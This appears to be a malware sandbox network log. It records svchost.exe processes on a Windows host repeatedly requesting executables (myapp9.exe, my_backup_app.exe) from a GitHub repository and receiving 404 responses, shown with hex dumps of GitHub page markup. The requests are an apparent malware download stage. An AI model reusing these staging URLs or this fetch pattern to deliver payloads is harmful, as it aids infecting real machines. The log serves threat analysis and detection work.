2024-09-20 10:14:42 UTC	802	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 14 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block Content-Type: text/plain; charset=utf-8 X-GitHub-Request-Id: B5BD:3DF4ED:7B899F:86576D:66ED4B12 Accept-Ranges: bytes Date: Fri, 20 Sep 2024 10:14:42 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890088-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726827283.927489,VS0,VE7 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 10200fac9fb92ba829e0788fda841893952a01d3 Expires: Fri, 20 Sep 2024 10:19:42 GMT Source-Age: 0
2024-09-20 10:14:42 UTC	14	IN	Data Raw: 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: 404: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	58631	185.199.108.133	443	8124	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-20 10:14:42 UTC	85	OUT	GET /rootbossko/myfiles/main/myapp9.exe HTTP/1.1 Host: raw.githubusercontent.com
2024-09-20 10:14:43 UTC	802	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 14 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block Content-Type: text/plain; charset=utf-8 X-GitHub-Request-Id: C5F6:AB50B:80DD5A:8BAE76:66ED4B12 Accept-Ranges: bytes Date: Fri, 20 Sep 2024 10:14:43 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740064-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726827283.976638,VS0,VE89 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: e5f7a10c495223135a68447f621813dbf5efee91 Expires: Fri, 20 Sep 2024 10:19:43 GMT Source-Age: 0
2024-09-20 10:14:43 UTC	14	IN	Data Raw: 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: 404: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	58632	185.199.108.133	443	8188	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-20 10:14:43 UTC	85	OUT	GET /rootbossko/myfiles/main/myapp9.exe HTTP/1.1 Host: raw.githubusercontent.com
2024-09-20 10:14:43 UTC	800	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 14 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block Content-Type: text/plain; charset=utf-8 X-GitHub-Request-Id: C5F6:AB50B:80DD5A:8BAE76:66ED4B12 Accept-Ranges: bytes Date: Fri, 20 Sep 2024 10:14:43 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740074-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726827284.523479,VS0,VE0 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 3c07615b6acef9f524320a23fb5153828ce69548 Expires: Fri, 20 Sep 2024 10:19:43 GMT Source-Age: 0
2024-09-20 10:14:43 UTC	14	IN	Data Raw: 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: 404: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	58633	140.82.121.3	443	8124	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-20 10:14:43 UTC	105	OUT	GET /rootbossko/myfiles/raw/main/my_backup_app.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-09-20 10:14:44 UTC	442	IN	HTTP/1.1 404 Not Found Server: GitHub.com Date: Fri, 20 Sep 2024 10:14:44 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-09-20 10:14:44 UTC	3483	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co
2024-09-20 10:14:44 UTC	185	IN	Data Raw: 31 30 30 30 30 0d 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 Data Ascii: 10000<!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines
2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 3d 22 74 72 75 65 22 0a 20 20 3e 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 76 61 74 61 72 73 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2d 63 6c 6f 75 64 2e 73 33 2e 61 6d 61 7a 6f 6e 61 Data Ascii: ="true" > <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazona
2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 6c 69 67 68 74 5f 63 6f 6c 6f 72 62 6c 69 6e 64 2d 37 31 63 64 34 63 63 31 33 32 65 63 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 68 69 67 68 5f 63 6f 6e 74 72 61 73 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 6c Data Ascii: " rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-71cd4cc132ec.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/l
2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 20 69 64 3d 22 63 6c 69 65 6e 74 2d 65 6e 76 22 3e 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 22 2c 22 66 65 61 74 75 72 65 46 6c 61 67 73 22 3a 5b 22 63 6f 64 65 5f 76 75 6c 6e 65 72 61 62 69 6c 69 74 79 5f 73 63 61 6e 6e 69 6e 67 22 2c 22 63 6f 70 69 6c 6f 74 5f 61 74 5f 6d 65 6e 74 69 6f 6e 5f 62 75 74 74 6f 6e 22 2c 22 63 6f 70 69 6c 6f 74 5f 62 65 74 61 5f 66 65 61 74 75 72 65 73 5f 6f 70 74 5f 69 6e 22 2c 22 63 6f 70 69 6c 6f 74 5f 63 68 61 74 5f 63 6f 6e 76 65 72 73 61 74 69 6f 6e 5f 69 6e 74 65 6e 74 5f 6b 6e 6f 77 6c 65 64 67 65 5f 73 65 61 72 63 68 5f 73 6b 69 6c 6c 22 2c 22 63 6f 70 69 6c 6f 74 5f 63 68 61 74 5f 73 74 61 74 69 63 5f 74 68 72 65 61 64 5f 73 75 67 67 65 73 74 69 6f 6e 73 22 2c Data Ascii: ="application/json" id="client-env">{"locale":"en","featureFlags":["code_vulnerability_scanning","copilot_at_mention_button","copilot_beta_features_opt_in","copilot_chat_conversation_intent_knowledge_search_skill","copilot_chat_static_thread_suggestions",
2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6f 64 64 62 69 72 64 5f 70 6f 70 6f 76 65 72 2d 70 6f 6c 79 66 69 6c 6c 5f 64 69 73 74 5f 70 6f 70 6f 76 65 72 5f 6a 73 2d 35 36 37 32 39 63 39 30 35 66 65 32 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 Data Ascii: javascript" src="https://github.githubassets.com/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js-56729c905fe2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.c
2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 6f 6d 62 6f 2d 63 38 66 38 31 62 2d 61 61 65 37 37 34 33 37 31 34 33 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 61 75 74 6f 2d 63 6f 6d 70 6c 65 74 65 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 Data Ascii: node_modules_github_combo-c8f81b-aae774371435.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_module
2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 66 69 6c 65 2d 61 74 74 61 63 68 6d 65 6e 74 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 76 69 65 77 2d 63 6f 2d 32 37 38 66 39 38 2d 36 31 34 36 32 37 62 64 35 38 63 32 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 Data Ascii: s.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-278f98-614627bd58c2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/a
2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 33 34 63 2d 66 38 61 35 34 38 35 63 39 38 32 61 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 74 75 72 62 6f 5f 64 69 73 74 5f 74 75 72 62 6f 5f 65 73 32 30 31 37 2d 65 73 6d 5f 6a 73 2d 38 35 38 65 30 34 33 66 63 66 37 36 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 Data Ascii: 34c-f8a5485c982a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-858e043fcf76.js"></script><script crossorigi
2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 74 61 73 6b 2d 6c 69 73 74 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 73 73 6f 5f 74 73 2d 75 69 5f 70 61 63 6b 61 67 65 73 2d 39 30 30 64 64 65 2d 61 62 38 37 63 31 64 36 63 35 63 38 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 Data Ascii: <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_sso_ts-ui_packages-900dde-ab87c1d6c5c8.js"></script><script

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	58634	140.82.121.3	443	8188	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-20 10:14:44 UTC	105	OUT	GET /rootbossko/myfiles/raw/main/my_backup_app.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-09-20 10:14:44 UTC	442	IN	HTTP/1.1 404 Not Found Server: GitHub.com Date: Fri, 20 Sep 2024 10:14:44 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-09-20 10:14:44 UTC	3480	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co
2024-09-20 10:14:44 UTC	188	IN	Data Raw: 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 3d 22 74 72 75 65 22 0a 20 20 Data Ascii: <!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines="true"
2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 3e 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 76 61 74 61 72 73 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2d 63 6c 6f 75 64 2e 73 33 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 22 3e 0a 20 Data Ascii: > <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com">
2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 6c 69 67 68 74 5f 63 6f 6c 6f 72 62 6c 69 6e 64 2d 37 31 63 64 34 63 63 31 33 32 65 63 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 68 69 67 68 5f 63 6f 6e 74 72 61 73 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 6c 69 67 68 74 5f 68 69 67 68 5f Data Ascii: lesheet" data-href="https://github.githubassets.com/assets/light_colorblind-71cd4cc132ec.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_
2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 69 6f 6e 2f 6a 73 6f 6e 22 20 69 64 3d 22 63 6c 69 65 6e 74 2d 65 6e 76 22 3e 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 22 2c 22 66 65 61 74 75 72 65 46 6c 61 67 73 22 3a 5b 22 63 6f 64 65 5f 76 75 6c 6e 65 72 61 62 69 6c 69 74 79 5f 73 63 61 6e 6e 69 6e 67 22 2c 22 63 6f 70 69 6c 6f 74 5f 61 74 5f 6d 65 6e 74 69 6f 6e 5f 62 75 74 74 6f 6e 22 2c 22 63 6f 70 69 6c 6f 74 5f 62 65 74 61 5f 66 65 61 74 75 72 65 73 5f 6f 70 74 5f 69 6e 22 2c 22 63 6f 70 69 6c 6f 74 5f 63 68 61 74 5f 63 6f 6e 76 65 72 73 61 74 69 6f 6e 5f 69 6e 74 65 6e 74 5f 6b 6e 6f 77 6c 65 64 67 65 5f 73 65 61 72 63 68 5f 73 6b 69 6c 6c 22 2c 22 63 6f 70 69 6c 6f 74 5f 63 68 61 74 5f 73 74 61 74 69 63 5f 74 68 72 65 61 64 5f 73 75 67 67 65 73 74 69 6f 6e 73 22 2c 22 63 6f 70 69 6c 6f 74 5f 63 Data Ascii: ion/json" id="client-env">{"locale":"en","featureFlags":["code_vulnerability_scanning","copilot_at_mention_button","copilot_beta_features_opt_in","copilot_chat_conversation_intent_knowledge_search_skill","copilot_chat_static_thread_suggestions","copilot_c
2024-09-20 10:14:44 UTC	276	IN	Data Raw: 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6f 64 64 62 69 72 64 5f 70 6f 70 6f 76 65 72 2d 70 6f 6c 79 66 69 6c 6c 5f 64 69 73 74 5f 70 6f 70 6f 76 65 72 5f 6a 73 2d 35 36 37 32 39 63 39 30 35 66 65 32 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: " src="https://github.githubassets.com/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js-56729c905fe2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/
2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 67 69 74 68 75 62 5f 61 72 69 61 6e 6f 74 69 66 79 2d 70 6f 6c 79 66 69 6c 6c 5f 61 72 69 61 4e 6f 74 69 66 79 2d 70 6f 6c 79 66 69 6c 6c 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 2d 32 34 37 30 39 32 2d 62 39 63 37 63 66 33 31 30 37 62 37 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6e 76 69 72 6f 6e 6d 65 6e 74 2d 39 64 38 66 65 39 63 38 36 38 39 39 2e 6a 73 22 Data Ascii: github_arianotify-polyfill_ariaNotify-polyfill_js-node_modules_github_mi-247092-b9c7cf3107b7.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-9d8fe9c86899.js"
